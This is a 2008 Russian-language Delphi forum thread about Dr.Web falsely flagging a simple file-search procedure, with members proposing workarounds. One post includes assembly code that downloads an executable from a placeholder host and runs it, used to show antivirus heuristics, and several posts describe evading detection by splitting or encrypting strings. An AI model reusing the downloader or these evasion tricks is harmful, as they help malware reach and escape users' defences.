Модераторы: Poseidon, Snowy, bems, MetalFan

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Процедура, в которой антивирус находит вирус, поиск всех файлов в папке с расширением 
:(
    Опции темы
Upgrader
  Дата 21.1.2008, 15:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 16
Регистрация: 28.8.2007

Репутация: нет
Всего: нет
Только начал такой процедурой пользоваться, антивирус Dr.Web стал видеть в программе вирус AdWare Adware.ResearchAd.origin.
Код

procedure ListFileDir(Path: string; FileList: TStrings);
 var
   SR: TSearchRec;
 begin
   if FindFirst(Path + '*.exe', faAnyFile, SR) = 0 then
   begin
     repeat
       if (SR.Attr <> faDirectory) then
       begin
         FileList.Add(SR.Name);
       end;
     until FindNext(SR) <> 0;
     FindClose(SR);
   end;
 end;

Как от этого можно избавиться? Я ж не вирус пишу  smile 
А если искать все (*.*), антивирус молчит.
PM MAIL WWW   Вверх
RomanEEP
Дата 21.1.2008, 16:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 424
Регистрация: 18.5.2006
Где: Коломна

Репутация: 5
Всего: 8
Наверное аналогичный код использовался вирусописателями для нахождения заражаемых файлов
Можно попробовать просто чуть-чуть изменить алгоритм, например завести Path + '*.exe'  в отдельную переменную
или проверять подходит ли расширение файла уже в цикле



--------------------
Электронные экзамены
PM MAIL   Вверх
MetalFan
Дата 21.1.2008, 16:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Аццкий Сотона
****


Профиль
Группа: Комодератор
Сообщений: 3815
Регистрация: 2.10.2006
Где: Moscow

Репутация: 62
Всего: 128
Цитата(Upgrader @  21.1.2008,  15:57 Найти цитируемый пост)
(SR.Attr <> faDirectory)

неверная проверка. а если это скрытая допустим директория?


--------------------
There are always someone smarter than you...
PM MAIL   Вверх
W4FhLF
Дата 21.1.2008, 16:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


found myself
****


Профиль
Группа: Участник Клуба
Сообщений: 2831
Регистрация: 2.12.2006

Репутация: 6
Всего: 121
Т.е. ругается в процессе поиска или при сканировании файла?


--------------------
"Бог умер" © Ницше
"Ницше умер" © Бог
PM ICQ   Вверх
Alexeis
Дата 21.1.2008, 17:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459
Upgrader, знакомая ситуация. Тут 2 выхода. Либо глушить веба, либо слать им образчик "вируса", чтобы они поправили сигнатурки. 


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
Upgrader
Дата 21.1.2008, 19:24 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 16
Регистрация: 28.8.2007

Репутация: нет
Всего: нет
Цитата(W4FhLF @ 21.1.2008,  16:48)
Т.е. ругается в процессе поиска или при сканировании файла?

При проверке файла на вирусы (и антивирус на лету проверяет все запускаемые файлы)
PM MAIL WWW   Вверх
W4FhLF
Дата 21.1.2008, 20:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


found myself
****


Профиль
Группа: Участник Клуба
Сообщений: 2831
Регистрация: 2.12.2006

Репутация: 6
Всего: 121
Не знаю, пробовал по-всякому твой код, у меня Dr.Web молчит. Проверял на virustotal.com


--------------------
"Бог умер" © Ницше
"Ницше умер" © Бог
PM ICQ   Вверх
Alexeis
Дата 21.1.2008, 20:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459
Цитата(W4FhLF @  21.1.2008,  19:22 Найти цитируемый пост)
Не знаю, пробовал по-всякому твой код, у меня Dr.Web молчит. Проверял на virustotal.com

  Так еще зависит от версии компилятора + сочетание с другим кодом. Не бывает таких маленьких сигнатур, чтобы только одну процедуру включали. 


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
mmvds
Дата 21.1.2008, 21:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 230
Регистрация: 22.12.2007

Репутация: нет
Всего: 6
Цитата(W4FhLF @  21.1.2008,  20:22 Найти цитируемый пост)
Не знаю, пробовал по-всякому твой код, у меня Dr.Web молчит. Проверял на virustotal.com 

Аналогично, компилятор delphi 7, на вирустотале не один антивирь не ругается, даже параноидальная панда.

А вообще в одном из стареньких номеров "Хакера" была статья по несложным методам "чистки" кода - разбив строковых констант, вынос нескольких инструкций в отдельную процедуру, изменение точки входа и т.д.
PM MAIL ICQ   Вверх
Rodman
Дата 22.1.2008, 17:16 (ссылка) | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


CIO
****


Профиль
Группа: Участник
Сообщений: 6144
Регистрация: 7.5.2006
Где: Ukraine ⇛ Kyiv ci ty

Репутация: 7
Всего: 122
Код

procedure ListFileDir(Path: string; FileList: TStrings);
 var
   SR: TSearchRec;
 begin
   if FindFirst(Path + '*'+'.'+'exe', faAnyFile, SR) = 0 then// внимательно посмотри на эту строку
   begin
     repeat
       if (SR.Attr <> faDirectory) then
       begin
         FileList.Add(SR.Name);
       end;
     until FindNext(SR) <> 0;
     FindClose(SR);
   end;
 end;
 smile 


--------------------

Лотереи мира
PM MAIL WWW Skype GTalk YIM MSN   Вверх
Akella
Дата 22.1.2008, 17:38 (ссылка) | (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Творец
****


Профиль
Группа: Модератор
Сообщений: 18485
Регистрация: 14.5.2003
Где: Корусант

Репутация: 36
Всего: 329
Код

procedure ListFileDir(Path: string; FileList: TStrings);
 var
   SR: TSearchRec;
 begin
   if FindFirst(Path + '*.*', faAnyFile, SR) = 0 then
   begin
     repeat
       if (SR.Attr <> faDirectory) then
       begin
         if AnsiUpperCase(extractFileExt(SR.Name)) = '.EXE' then
           FileList.Add(SR.Name);
       end;
     until FindNext(SR) <> 0;
     FindClose(SR);
   end;
 end;
PM MAIL   Вверх
W4FhLF
Дата 22.1.2008, 17:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


found myself
****


Профиль
Группа: Участник Клуба
Сообщений: 2831
Регистрация: 2.12.2006

Репутация: 6
Всего: 121
Цитата(Alexeis @  21.1.2008,  20:46 Найти цитируемый пост)
Так еще зависит от версии компилятора + сочетание с другим кодом. Не бывает таких маленьких сигнатур, чтобы только одну процедуру включали. 


Ну поэтому я и использовал две версии компилятора, а так же пробовал оконное и консольное приложение, так же писал после процедуры поиска запуск всех exe с пом. WinExec(в этом случае suspisious выдали Panda и VBA32). Насчёт длины сигнатур, это всё понятно. Но они бывают абсолютно разными, к тому же сегодня сигнатуры в классическом варианте в АВ не используются почти.

Специапльно скомпилировал такой код и проверил на virustotal.com:

Код

.data
    szHTMLtag db "http://virusbla.com/1.exe",0
    szTemFilename db '2.exe',0

.code
start:
    invoke URLDownloadToFile, 0, offset szHTMLtag, offset szTemFilename, 0, 0
    invoke ShellExecute, 0, 0, offset szTemFilename, 0, 0, 5
    invoke ExitProcess, 0 

end start


Резалты:

Цитата

Антивирус    Версия    Обновление    Результат
AntiVir    7.6.0.48    2008.01.22    HEUR/Malware
BitDefender    7.2    2008.01.22    Generic.Malware.dld!!.D60977FA
DrWeb    4.44.0.09170    2008.01.22    Trojan.Aphex
F-Prot    4.4.2.54    2008.01.21    W32/Heuristic-217!Eldorado
F-Secure    6.70.13260.0    2008.01.22    Trojan-Downloader.Win32.Apher.gen
Ikarus    T3.1.1.20    2008.01.22    Trojan-Downloader.Win32.Apher
Kaspersky    7.0.0.125    2008.01.22    Trojan-Downloader.Win32.Apher.gen
McAfee    5212    2008.01.21    Downloader-AE
NOD32v2    2815    2008.01.22    probably unknown NewHeur_PE virus
Norman    5.80.02    2008.01.21    W32/Downloader
Panda    9.0.0.4    2008.01.21    Suspicious file
Sophos    4.24.0    2008.01.22    Troj/Apher-Fam
Webwasher-Gateway    6.6.2    2008.01.22    Heuristic.Malware


Это сообщение отредактировал(а) W4FhLF - 22.1.2008, 17:46


--------------------
"Бог умер" © Ницше
"Ницше умер" © Бог
PM ICQ   Вверх
Upgrader
  Дата 22.1.2008, 17:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 16
Регистрация: 28.8.2007

Репутация: нет
Всего: нет
Код

FindFirst(Path + '*'+'.'+'exe', faAnyFile, SR) = 0 then

С расширением exe нормально, а с xls - вирус.  smile 
В данный момент нужно как раз xls

Это сообщение отредактировал(а) Upgrader - 22.1.2008, 17:53
PM MAIL WWW   Вверх
W4FhLF
Дата 22.1.2008, 18:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


found myself
****


Профиль
Группа: Участник Клуба
Сообщений: 2831
Регистрация: 2.12.2006

Репутация: 6
Всего: 121
Цитата(Upgrader @  22.1.2008,  17:50 Найти цитируемый пост)
С расширением exe нормально, а с xls - вирус.


Держи эту строку зашифрованной, чтобы АВ не смог её проэмулировать, а перед передачей в функцию расшифровывай отдельно. 


--------------------
"Бог умер" © Ницше
"Ницше умер" © Бог
PM ICQ   Вверх
Virtuals
Дата 23.1.2008, 11:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 476
Регистрация: 27.11.2006

Репутация: 3
Всего: 11
Цитата(Upgrader @  22.1.2008,  17:50 Найти цитируемый пост)
'*'+'.'+'exe'

такой код оптимизатор компилятора превратит в '*+.exe'  smile 
нужно
Код

var a:string;
      b:string;

begin
b:='.x';
a:='ls';

FindFirst(Path + '*'+b+a, faAnyFile, SR) = 0 then
...
PM MAIL ICQ   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.1494 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.